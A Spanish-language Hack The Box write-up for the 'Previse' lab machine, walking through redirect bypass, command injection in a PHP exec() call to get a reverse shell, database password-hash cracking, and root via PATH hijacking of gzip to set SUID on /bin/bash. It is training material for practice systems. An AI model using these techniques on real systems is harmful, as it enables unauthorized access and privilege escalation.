Previse - HTB Writeup
Enumeración
Empezamos la fase de enumeración enviando una paquete ICMP a la máquina víctima con la herramienta ping
, con esto veremos su estado y su sistema operativo:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ ping -c 1 10.10.11.104
PING 10.10.11.104 (10.10.11.104) 56(84) bytes of data.
64 bytes from 10.10.11.104: icmp_seq=1 ttl=63 time=70.4 ms
--- 10.10.11.104 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 70.358/70.358/70.358/0.000 ms
Parámetro | Acción |
---|---|
-c 1 |
elegimos que solo queremos enviar 1 traza |
Se puede ver que la máquina está activa y que observando el TTL
, concluimos que es una máquina Linux.
Más información sobre la detección de OS mediante TTL aquí.
También puedes hacer uso de mi herramienta OSidentifier.
Nmap
Comenzamos con la fase de enumeración de puertos haciendo uso de la herramienta nmap
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ sudo nmap -p- --open -sS --min-rate 4000 -n 10.10.11.104 -sC -sV -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-27 16:55 WET
Nmap scan report for 10.10.11.104
Host is up (0.069s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Previse Login
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.25 seconds
Parámetro | Acción |
---|---|
-p- |
Es una forma de especificar que queremos escanear todos los puertos existentes, los 65535. |
--open |
Este parámetro hace que nos muestre únicamente los puertos abiertos, que nos omita los filtered. |
-sS |
Especificamos el tipo de escaneo ‘SYN port Scan’, que es más rápido y sigiloso que el tipo de escaneo por defecto. |
--min-rate [valor] |
Envía paquetes tan o más rápido que la tasa dada. |
-n |
Quitamos la resolución DNS para que el escaneo vaya más rápido. |
-sC |
Utiliza un escaneo con una serie de scripts por defecto de nmap. |
-sV |
Activa la detección de versiones. |
-oN [nombre de archivo] |
Exporta los resultados en formato normal, tal cual se ve en el escaneo. |
Observamos 2 puertos abiertos:
Puerto | Servicio |
---|---|
22 | Corresponde al protocolo SSH |
80 | Este puerto pertenece al protocolo HTTP |
User.txt
Enumeramos un poco el servidor web alojado en el puerto 80
con ayuda de whatweb
:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ whatweb http://10.10.11.104
http://10.10.11.104 [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)]
IP[10.10.11.104], Meta-Author[m4lwhere], RedirectLocation[login.php], Script, Title[Previse Home]
Por ahora nada relevante.
Visitemos el sitio web con el navegador:
Vemos un panel de inicio de sesión.
Aquí pruebo credenciales comunes como admin:admin
y admin:password
pero no conseguimos acceder.
También pruebo a introducir comillas simples en ambos campos para verificar si es vulnerable a SQL Injection, pero tampoco es vulnerable.
Tras ver esto, pruebo a fuzzear el servidor web en busca de directorios y recursos:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ gobuster dir -u http://10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 75 -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.104
[+] Method: GET
[+] Threads: 75
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/12/27 17:21:06 Starting gobuster in directory enumeration mode
===============================================================
/files.php (Status: 302) [Size: 4914] [--> login.php]
/header.php (Status: 200) [Size: 980]
/nav.php (Status: 200) [Size: 1248]
/footer.php (Status: 200) [Size: 217]
/login.php (Status: 200) [Size: 2224]
/download.php (Status: 302) [Size: 0] [--> login.php]
/css (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/status.php (Status: 302) [Size: 2968] [--> login.php]
/js (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/index.php (Status: 302) [Size: 2801] [--> login.php]
/accounts.php (Status: 302) [Size: 3994] [--> login.php]
/config.php (Status: 200) [Size: 0]
/logs.php (Status: 302) [Size: 0] [--> login.php]
Progress: 69534 / 441096 (15.76%)
Parámetro | Acción |
---|---|
dir |
Establecemos que queremos usar el modo de enumeración de directorios y archivos |
-u |
Este parámetro sirve para indicar la URL donde se trabajará |
-w |
Especificamos la ruta del diccionario con el cual se fuzzeará |
-t |
Este parámetro se usa para especificar la cantidad de hilos simultaneos |
-x |
Establecemos una lista de extensiones de archivo para fuzzear |
Podemos ver que se nos reportan varios recursos PHP
con un código de estado 302 Found
que corresponde a una redirección, en este caso al panel de inicio de sesión.
Es resumen, si intentamos acceder al recurso accounts.php
(por ejemplo), se nos redirijirá al panel de inicio de sesión.
Es posible bypassear esta redirección con burpsuite
o con herramienta curl
simplemente.
Probemos a acceder con curl
a accounts.php
:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ curl -s http://10.10.11.104/accounts.php | html2text
* Home
* ACCOUNTS
o CREATE_ACCOUNT
* FILES
* MANAGEMENT_MENU
o WEBSITE_STATUS
o LOG_DATA
* LOG_OUT
***** Add New Account *****
Create new user.
ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!
Usernames and passwords must be between 5 and 32 characters!
[username ]
[********************]
[********************]
CREATE USER
Created_by_m4lwhere
Parámetro | Acción |
---|---|
-s, --silent |
Parámetro utilizado para silenciar errores y barras de progreso |
¡Perfecto! Parece ser que estamos accediendo a un area restringida donde podemos crear un usuario.
Inspeccionemos los atributos id de los campos de usuario y contraseña para poder crear un usuario:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ curl -s http://10.10.11.104/accounts.php
<!DOCTYPE html>
[...]
<form role="form" method="post" action="accounts.php">
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
</div>
</div>
<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>
</div>
</section>
[...]
</html>
Como vemos, hay 3 atributos id
, uno con nombre username
, donde introduciremos el usuario, otro con nombre password
, donde introduciremos la contraseña, luego otro llamado confirm
, donde tendremos que introducir de nuevo la contraseña para confirmar, y por último submit
, que tendremos que dejar vacío.
Todos estos datos tendremos que enviarlos al servidor con el método POST. Esto perfectamente se puede hacer con curl
asi que ¡probemos!:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ curl -s -X POST http://10.10.11.104/accounts.php -d "username=usuario123&password=password123&confirm=password123&submit=" | html2text
* Home
* ACCOUNTS
o CREATE_ACCOUNT
* FILES
* MANAGEMENT_MENU
o WEBSITE_STATUS
o LOG_DATA
* LOG_OUT
***** Add New Account *****
Create new user.
ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!
Usernames and passwords must be between 5 and 32 characters!
Success! User was added!
[username ]
[********************]
[********************]
CREATE USER
Created_by_m4lwhere
Parámetro | Acción |
---|---|
-s, --silent |
Parámetro utilizado para silenciar errores y barras de progreso |
-d, --data |
Este parámetro sirve para enviar datos en peticiones POST |
Cada parámetro tiene que ir separado del otro con un ampersand (&).
¡Hemos tenido éxito! Probemos ahora a iniciar sesión.
Inicio de sesión correcto :)
Investigando las funciones del sitio web estando autenticado, me encuentro con un supuesto backup de la web:
Al descargarlo y descomprimirlo en mi equípo veo que están todos archivos de los recursos disponibles en el servidor web:
┌─[z3r0byte@z3r0byte]─[~/Descargas/siteBackup]
└──╼ $ ls -l
total 60
-rw-r--r-- 1 z3r0byte z3r0byte 5689 jun 12 2021 accounts.php
-rw-r--r-- 1 z3r0byte z3r0byte 208 jun 12 2021 config.php
-rw-r--r-- 1 z3r0byte z3r0byte 1562 jun 9 2021 download.php
-rw-r--r-- 1 z3r0byte z3r0byte 1191 jun 12 2021 file_logs.php
-rw-r--r-- 1 z3r0byte z3r0byte 6107 jun 9 2021 files.php
-rw-r--r-- 1 z3r0byte z3r0byte 217 jun 3 2021 footer.php
-rw-r--r-- 1 z3r0byte z3r0byte 1012 jun 6 2021 header.php
-rw-r--r-- 1 z3r0byte z3r0byte 551 jun 6 2021 index.php
-rw-r--r-- 1 z3r0byte z3r0byte 2967 jun 12 2021 login.php
-rw-r--r-- 1 z3r0byte z3r0byte 190 jun 8 2021 logout.php
-rw-r--r-- 1 z3r0byte z3r0byte 1174 jun 9 2021 logs.php
-rw-r--r-- 1 z3r0byte z3r0byte 1279 jun 5 2021 nav.php
-rw-r--r-- 1 z3r0byte z3r0byte 1900 jun 9 2021 status.php
Entre estos archivos encuentro 2 cosas interesantes:
1º Credenciales en texto claro de MySQL
Al visualizar el archivo config.php
me doy cuenta de que contiene credenciales en texto claro de MySQL:
┌─[z3r0byte@z3r0byte]─[~/Descargas/siteBackup]
└──╼ $cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'XXXXXXXXXXXXXXXXXXX';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
Guardo estas credenciales por si las necesitamos en el futuro.
2º Función exec() peligrosa
En el archivo logs.php
se pude ver que se hace uso de la funcion exec()
la cual ejecuta comandos a nivel de sistema.
┌─[z3r0byte@z3r0byte]─[~/Descargas/siteBackup]
└──╼ $cat logs.php
[...]
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
[...]
?>
Se está ejecutando con python
el script /opt/scripts/log_proccess.py
, pasandole como argumento los datos enviados por POST del parámetro delim
.
Antes de nada, veamos el recurso que maneja esto de los logs desde el navegador.
Parece ser en este recurso, file_logs.php
, puedes elegir el delimitador con el que se guardarán los logs.
En la lista que nos ha aparecido, podemos elegir 3 tipos de delimitadores: comas, espacios o tabulaciones. Pero nosotros podemos introducir lo que queramos en este parámetro con herramientas simples como curl
.
El vector de explotación reside aquí, ya que lo que introduzcamos como valor en el parámetro delim
va a estar dentro de la función exec()
y será ejecutado.
Con esto podríamos entablar una reverse shell
entre la máquina víctima y mi equipo.
¡Probemos!
Explotación
Tenemos que ver como se tramitan los datos al pulsar el botón de submit
.
Vemos que solo se tramita el parámetro delim
bien, probemos a capturar una petición con burpsuite
para cambiar el parámetro delim
e introducir una instrucción que genere una reverse shell.
1º - Capturamos la petición con el burpsuite
Habilitamos el proxy en el navegador, clickamos en el botón de submit
y capturamos la petición.
2º - Enviamos la petición al repeater
Enviamos la petición capturada a la herramienta repeater para trabajar mejor con ella.
3º - Nos ponemos en escucha con NetCat
Nos ponemos en escucha por cualquier puerto para recibir la reverse shell.
┌─[z3r0byte@z3r0byte]─[~/Descargas/siteBackup]
└──╼ $ nc -lvp 4444
Listening on 0.0.0.0 4444
Parámetro | Acción |
---|---|
-l |
Habilita el modo escucha, para conexiones entrantes |
-v |
Este parámetro dice que queremos que nos reporte más información de lo normal |
-p |
Especificamos el puerto por el cual nos queremos poner en escucha, en mi caso el 4444 |
4º Enviamos la petición con la instrucción maliciosa
En el repeater, cambiamos el valor del parámetro delim
e introducimos un payload de reverse shell
, en mi caso usaré un payload de nc
:
4º - Disfrutar la shell
┌─[z3r0byte@z3r0byte]─[~/Descargas/siteBackup]
└──╼ $ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.104 53622
uname -a
Linux previse 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
A partir de aquí, solamente habría que convertir esta shell
en una Fully interactive TTY.
Una vez dentro del sistema como el usuario www-data
, visualizo el archivo /etc/passwd
en busca de más usuarios.
www-data@previse:/$ grep -E 1[0-9]{3} /etc/passwd | sed s/:/\ / | awk '{print $1}'
m4lwhere
Vemos que aparte de root
, tenemos el usuario m4lwhere
. Vendrá bien tenerlo en cuenta.
Me acuerdo de la credencial de MySQL
que habíamos encontrado y miro si este software está activo en la máquina de forma interna:
www-data@previse:/$ netstat -nat | grep "127.0.0.1"
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
Vemos que si, está corriendo de forma interna ya que el puerto 3306
corresponde a MySQL
por defecto.
Sabiendo esto, podemos iniciar sesión en MySQL
con las credenciales encontradas.
www-data@previse:/$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2063
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
¡Accedimos! Una vez aquí podemos navegar por las bases de datos disponibles.
Para listar las bases de datos, usamos el comando show databases;
:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| previse |
| sys |
+--------------------+
5 rows in set (0.00 sec)
Me llama la atención la base de datos previse
, ya que las demás son DB’s genéricas.
Para seleccionar una base de datos donde trabajar usamos el comando use nombre_de_la_DB;
mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Ahora listemos las tablas en esta base de datos:
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
Mmmh, tenemos una tabla con nombre accounts
, no me extrañaría que se guardaran usuarios y contraseñas aquí.
Usemos el comando describe nombre_tabla;
para ver las columnas de la tabla accounts
:
mysql> describe accounts;
+------------+--------------+------+-----+-------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+-------------------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(50) | NO | UNI | NULL | |
| password | varchar(255) | NO | | NULL | |
| created_at | datetime | YES | | CURRENT_TIMESTAMP | |
+------------+--------------+------+-----+-------------------+----------------+
4 rows in set (0.00 sec)
Tenemos un campo username
y un campo password
Veamos que hay aquí:
mysql> SELECT username,password FROM accounts;
+----------------+------------------------------------+
| username | password |
+----------------+------------------------------------+
| m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. |
| usuario123 | $1$🧂llol$DJ6ZVzF0zBGjTIV/GTvOf/ |
+----------------+------------------------------------+
10 rows in set (0.00 sec)
Podemos observar el hash
del usuario m4lwhere
el cual es un poco raro.
Metemos el hash en un archivo de texto y probamos a romperlo con hashcat
:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $hashcat -a 0 -m 500 hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-7200U CPU @ 2.50GHz, 2772/2836 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
[...]
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:XXXXXXXXXXXXXXXXXXXXXXXX
[...]
¡Hemos crackeado el hash!, tenemos una contraseña.
Probemos a conectarnos por SSH como el usuario m4lwhere
proporcionando esta contraseña:
┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104 password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Dec 29 21:40:18 UTC 2021
System load: 0.0 Processes: 200
Usage of /: 49.7% of 4.85GB Users logged in: 1
Memory usage: 23% IP address for eth0: 10.10.11.104
Swap usage: 0%
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Dec 29 21:33:55 2021 from 10.10.14.150
m4lwhere@previse:~$
¡Perfecto!, una vez en este punto, es posible visualizar la flag user.txt
localizada en /home/m4lwhere/user.txt
:
m4lwhere@previse:~$ head --bytes 10 /home/m4lwhere/user.txt | xargs
0d10597dab
Root.txt
Enumero los permisos de sudo
del usuario m4lwhere
y me encuentro con lo siguiente:
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
Podemos ejecutar como usuario root
el archivo /opt/scripts/access_backup.sh
.
Veamos que contiene este archivo:
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Bien, viendo a simple vista el archivo me doy cuenta de que se está haciendo uso del comando gzip
.
Pero hay un problema, se está llamando a este comando de forma relativa y no de forma absoluta. Con esto me refiero a que se está llamando haciendo uso de la variable de entorno PATH
, la cual contiene rutas donde se almacenan binarios. Y no de forma absoluta, colocando la ruta completa del comando, por ejemplo /bin/gzip
.
Esto hace que este script sea vulnerable a un Path hijacking.
Este ataque consiste en crear un archivo que se llame igual que el comando que es llamado de forma relativa, para luego añadir su ruta en la variable de entorno PATH
y que a la hora de llamar al comando haga match con nuestro archivo malicioso en lugar de con el comando legítimo.
Se entenderá mejor en la práctica, explotemos esto.
1º - Crear el archivo malicioso
Vamos a la ruta /tmp
(por ejemplo), creamos un archivo con nombre gzip
y dentro escribimos un script en bash que asigne permisos SUID a /bin/bash
m4lwhere@previse:~$ cd /tmp
m4lwhere@previse:/tmp$ touch gzip
m4lwhere@previse:/tmp$ echo "chmod u+s /bin/bash" > gzip
m4lwhere@previse:/tmp$ chmod +x gzip
2º - Añadimos la ruta /tmp a PATH
Ahora tendremos que añadir la ruta /tmp
a la variable de entorno PATH
:
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
3º - Ejecutar script
Una vez hemos hecho lo anterior, solo queda ejecutar el script:
m4lwhere@previse:/tmp$ sudo -u root /opt/scripts/access_backup.sh
[sudo] password for m4lwhere:
4º - Acceder como usuario root
Ahora si miramos los permisos de /bin/bash
veremos que es un binario SUID
:
m4lwhere@previse:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Notese la ‘s
’ en los permisos.
Ahora para acceder como root
, es tan fácil como ejecutar el comando bash -p
:
m4lwhere@previse:~$ bash -p
bash-4.4# id
uid=1000(m4lwhere) gid=1000(m4lwhere) euid=0(root) egid=0(root) groups=0(root),1000(m4lwhere)
Una vez en este punto, podemos ver la flag root.txt
en la ruta /root/root.txt
bash-4.4# head --bytes 10 /root/root.txt | xargs
3c2d7b6a42
Conclusión
En esta maquina hemos conseguido un acceso inicial aprovechandonos de una mala implementación de la función exec()
de PHP
.
Para escalar privilegios hemos abusado de un path hijacking para acceder como root.